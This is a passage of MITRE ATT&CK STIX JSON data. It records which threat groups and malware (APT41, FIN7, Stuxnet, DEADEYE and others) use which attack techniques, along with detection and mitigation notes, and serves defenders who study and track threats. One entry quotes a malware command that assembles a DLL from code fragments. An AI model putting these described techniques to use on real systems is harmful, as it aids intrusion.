2020)","relationship_type":"uses","source_ref":"malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b","target_ref":"attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9b6bebc2-caf5-4b22-847d-ef43881f9bd6","type":"relationship","created":"2021-05-21T20:19:59.948Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Exchange Mar 2021","url":"https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/","description":"Faou, M., Tartare, M., Dupuy, T. (2021, March 10). Exchange servers under siege from at least 10 APT groups. Retrieved May 21, 2021."}],"modified":"2021-05-21T20:19:59.948Z","description":"[Tonto Team](https://attack.mitre.org/groups/G0131) has used a first stage web shell after compromising a vulnerable Exchange server.(Citation: ESET Exchange Mar 2021)","relationship_type":"uses","source_ref":"intrusion-set--c5b81590-6814-4d2a-8baa-15c4b6c7f960","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9b72f375-4a14-4ae7-9b0b-1202ba3d6970","type":"relationship","created":"2020-03-02T14:22:24.910Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-02T14:22:24.910Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--1cfcb312-b8d7-47a4-b560-4b16cc677292","target_ref":"attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9b77175f-5bf4-4f4e-a064-55d88babf1fe","created":"2022-10-13T16:55:36.665Z","revoked":false,"external_references":[{"source_name":"Korean FSI TA505 2020","description":"Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022.","url":"https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory="}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T16:55:36.665Z","description":"[FlawedAmmyy](https://attack.mitre.org/software/S0381) has sent data collected from a compromised host to its C2 servers.(Citation: Korean FSI TA505 2020)","relationship_type":"uses","source_ref":"malware--432555de-63bf-4f2a-a3fa-f720a4561078","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9b7b3fc7-0151-4848-9b66-774eaf72561f","created":"2020-12-14T17:34:58.758Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T18:07:10.344Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) used MS10-073 and an undisclosed Task Scheduler vulnerability to escalate privileges on local Windows machines.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9b7bf5d9-23a0-4190-80c0-b27b906bafcc","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html","description":"Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.","source_name":"FireEye Clandestine Fox"}],"modified":"2019-04-29T18:01:20.635Z","description":"[APT3](https://attack.mitre.org/groups/G0022) has a tool that can delete files.(Citation: FireEye Clandestine Fox)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9b7f7aab-6ee4-4205-bd25-39cd63216777","created":"2023-02-16T20:53:35.922Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MDSec Brute Ratel August 2022","description":"Chell, D. PART 3: How I Met Your Beacon – Brute Ratel. Retrieved February 6, 2023.","url":"https://www.mdsec.co.uk/2022/08/part-3-how-i-met-your-beacon-brute-ratel/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-16T20:58:53.954Z","description":"[Brute Ratel C4](https://attack.mitre.org/software/S1063) has used reflective loading to execute malicious DLLs.(Citation: MDSec Brute Ratel August 2022)","relationship_type":"uses","source_ref":"tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5","target_ref":"attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9b7fb000-e10e-4805-a828-5def5dac2b4e","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TheEclecticLightCompany Quarantine and the flag","description":"hoakley. (2020, October 29). Quarantine and the quarantine flag. Retrieved September 13, 2021.","url":"https://eclecticlight.co/2020/10/29/quarantine-and-the-quarantine-flag/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T23:26:31.530Z","description":"Review false values under the LSFileQuarantineEnabled entry in an application's Info.plist file (required by every application). false under LSFileQuarantineEnabled indicates that an application does not use the quarantine flag. Unsandboxed applications with an unspecified LSFileQuarantineEnabled entry will default to not setting the quarantine flag.\n\nQuarantineEvents is a SQLite database containing a list of all files assigned the com.apple.quarantine attribute, located at ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2. Each event contains the corresponding UUID, timestamp, application, Gatekeeper score, and decision if it was allowed. (Citation: TheEclecticLightCompany Quarantine and the flag)","relationship_type":"detects","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9b80479d-6f7a-45fd-af5b-1e8adfb1e7fd","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","source_name":"Cylance Dust Storm"}],"modified":"2022-01-19T21:14:43.562Z","description":"[Mis-Type](https://attack.mitre.org/software/S0084) network traffic can communicate over HTTP.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9b826389-8c99-4b4c-9da6-de41e4f29fc4","created":"2022-12-20T21:20:18.373Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-26T15:13:10.292Z","description":"[DEADEYE](https://attack.mitre.org/software/S1052) can run `cmd /c copy /y /b C:\\Users\\public\\syslog_6-*.dat C:\\Users\\public\\syslog.dll` to combine separated sections of code into a single DLL prior to execution.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"malware--c46eb8e6-bf29-4696-8008-3ddb0b4ca470","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9b8341df-94d6-4989-9662-9af1b2233036","type":"relationship","created":"2021-02-22T20:31:47.092Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Waterbear December 2019","url":"https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html","description":"Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021."}],"modified":"2021-02-22T20:31:47.092Z","description":"[Waterbear](https://attack.mitre.org/software/S0579) can find the presence of a specific security software.(Citation: Trend Micro Waterbear December 2019)","relationship_type":"uses","source_ref":"malware--f3f1fbed-7e29-49cb-8579-4a378f858deb","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9b88372d-4f3f-4442-906d-9ab07e22e781","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T17:51:20.414Z","description":"[CORESHELL](https://attack.mitre.org/software/S0137) contains unused machine instructions in a likely attempt to hinder analysis.(Citation: FireEye APT28)","relationship_type":"uses","source_ref":"malware--60c18d06-7b91-4742-bae3-647845cd9d81","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9b88e4d5-7a81-4167-95b3-63b10d88ea29","created":"2024-05-23T17:12:25.815Z","revoked":false,"external_references":[{"source_name":"Cadet Blizzard emerges as novel threat actor","description":"Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct Russian threat actor. Retrieved July 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-23T17:12:25.815Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) used [ngrok](https://attack.mitre.org/software/S0508) during intrusions against Ukrainian victims.(Citation: Cadet Blizzard emerges as novel threat actor)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"tool--2f7f03bb-f367-4a5a-ad9b-310a12a48906","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9b8ff36d-ff96-460a-b5cf-d369e7f598d9","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.635Z","description":"[RedLeaves](https://attack.mitre.org/software/S0153) can obtain information about network parameters.(Citation: PWC Cloud Hopper Technical Annex April 2017)","relationship_type":"uses","source_ref":"malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9b8ff6e6-8b67-4182-9752-fa1cf15c0485","created":"2022-02-04T22:03:05.857Z","x_mitre_version":"1.0","external_references":[{"source_name":"BiZone Lizar May 2021","url":"https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319","description":"BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker’s toolkit. Retrieved February 2, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Lizar](https://attack.mitre.org/software/S0681) can decrypt its configuration data.(Citation: BiZone Lizar May 2021)","modified":"2022-04-14T21:27:34.050Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--f74a5069-015d-4404-83ad-5ca01056c0dc","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9b91755d-2b83-438c-bd25-0e71c540310a","created":"2024-10-07T22:01:12.484Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-07T22:01:12.484Z","description":"Implement auditing and logging for interactions with third-party messaging services or collaboration platforms. Monitor user activity and review logs for signs of suspicious links, downloads, or file exchanges that could indicate spearphishing attempts. Effective auditing allows for the quick identification of malicious activity originating from compromised service accounts.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9b99ec5e-b08c-44e1-b942-d752964ef12b","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T14:39:32.621Z","description":"Monitor API calls such as LoadLibrary (Windows) or dlopen (Linux/macOS) that load shared modules.","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9b9dad4a-c597-4979-9129-7753a7c3b3db","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html","description":"Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.","source_name":"FireEye FIN7 April 2017"},{"source_name":"eSentire FIN7 July 2021","url":"https://www.esentire.com/security-advisories/notorious-cybercrime-gang-fin7-lands-malware-in-law-firm-using-fake-legal-complaint-against-jack-daniels-owner-brown-forman-inc","description":"eSentire. (2021, July 21). Notorious Cybercrime Gang, FIN7, Lands Malware in Law Firm Using Fake Legal Complaint Against Jack Daniels’ Owner, Brown-Forman Inc.. Retrieved September 20, 2021."},{"source_name":"CrowdStrike Carbon Spider August 2021","url":"https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/","description":"Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021."}],"modified":"2021-09-23T12:33:47.311Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) lured victims to double-click on images in the attachments they sent which would then execute the hidden LNK file.(Citation: FireEye FIN7 April 2017)(Citation: eSentire FIN7 July 2021)(Citation: CrowdStrike Carbon Spider August 2021)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9b9f3a63-98f1-4ea5-9c64-00bc6f237778","type":"relationship","created":"2020-03-14T22:24:22.061Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-26T23:12:30.622Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9ba5068b-4e9e-445f-831b-c3d8ca444e2a","created":"2022-08-15T16:55:26.214Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason StrifeWater Feb 2022","description":"Cybereason Nocturnus. (2022, February 1). StrifeWater RAT: Iranian APT Moses Staff Adds New Trojan to Ransomware Operations. Retrieved August 15, 2022.","url":"https://www.cybereason.com/blog/research/strifewater-rat-iranian-apt-moses-staff-adds-new-trojan-to-ransomware-operations"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T18:41:42.407Z","description":"[StrifeWater](https://attack.mitre.org/software/S1034) can collect the OS version, architecture, and machine name to create a unique token for the infected host.(Citation: Cybereason StrifeWater Feb 2022)","relationship_type":"uses","source_ref":"malware--fb78294a-7d7a-4d38-8ad0-92e67fddc9f0","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9ba97a0a-1ae5-4969-9ce4-6fb86d70fae0","type":"relationship","created":"2020-03-06T20:57:38.085Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-06T20:57:38.085Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","target_ref":"attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9bab0784-d593-4fbc-8f03-0f2340184beb","created":"2022-09-30T16:10:32.600Z","revoked":false,"external_references":[{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T16:10:32.600Z","description":"[Mori](https://attack.mitre.org/software/S1047) can read data from the Registry including from `HKLM\\Software\\NFC\\IPA` and\n`HKLM\\Software\\NFC\\`.(Citation: DHS CISA AA22-055A MuddyWater February 2022)","relationship_type":"uses","source_ref":"malware--7e100ca4-e639-48d9-9a9d-8ad84aa7b448","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9bab41c7-1581-4c51-9119-6a5e29445979","type":"relationship","created":"2021-09-29T01:25:30.303Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Checkpoint IndigoZebra July 2021","url":"https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/","description":"CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."},{"source_name":"Securelist APT Trends Q2 2017","description":"Kaspersky Lab's Global Research & Analysis Team. (2017, August 8). APT Trends report Q2 2017. Retrieved February 15, 2018.","url":"https://securelist.com/apt-trends-report-q2-2017/79332/"}],"modified":"2021-10-08T14:20:51.477Z","description":"[IndigoZebra](https://attack.mitre.org/groups/G0136) has acquired open source tools such as [NBTscan](https://attack.mitre.org/software/S0590) and Meterpreter for their operations.(Citation: Checkpoint IndigoZebra July 2021)(Citation: Securelist APT Trends Q2 2017) ","relationship_type":"uses","source_ref":"intrusion-set--e5603ea8-4c36-40e7-b7af-a077d24fedc1","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9bad5c6c-417e-44ad-9475-cf105eec722b","type":"relationship","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.849Z","description":"Monitor for changes made to ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.","source_ref":"x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db","target_ref":"attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9bb5eb8e-b05c-4890-a5aa-6c038b61d5d7","type":"relationship","created":"2020-06-24T16:55:46.394Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-07-07T13:49:05.492Z","description":"Routinely check account role permissions to ensure only expected users and roles have permission to modify cloud firewalls. ","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--77532a55-c283-4cd2-bc5d-2d0b65e9d88c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9bbad839-fc09-488d-ab19-97a3d354fa29","created":"2023-05-24T19:03:05.238Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-05-24T19:03:05.238Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--562e9b64-7239-493d-80f4-2bff900d9054","target_ref":"attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9bbc997d-9ca8-45b9-930a-5bf7e7ec00f8","created":"2021-01-22T18:38:21.049Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.426Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has used the Windows Command Shell and batch scripts for execution on compromised hosts.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9bbd3f33-593a-4ce8-b88f-9f9b6fca9aff","created":"2024-07-09T22:04:06.169Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Rostovcev APT41 2021","description":"Nikita Rostovcev. (2022, August 18). APT41 World Tour 2021 on a tight schedule. Retrieved February 22, 2024.","url":"https://www.group-ib.com/blog/apt41-world-tour-2021/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-09T22:05:17.026Z","description":"[APT41](https://attack.mitre.org/groups/G0096) has obtained information about accounts, lists of employees, and plaintext and hashed passwords from databases.(Citation: Rostovcev APT41 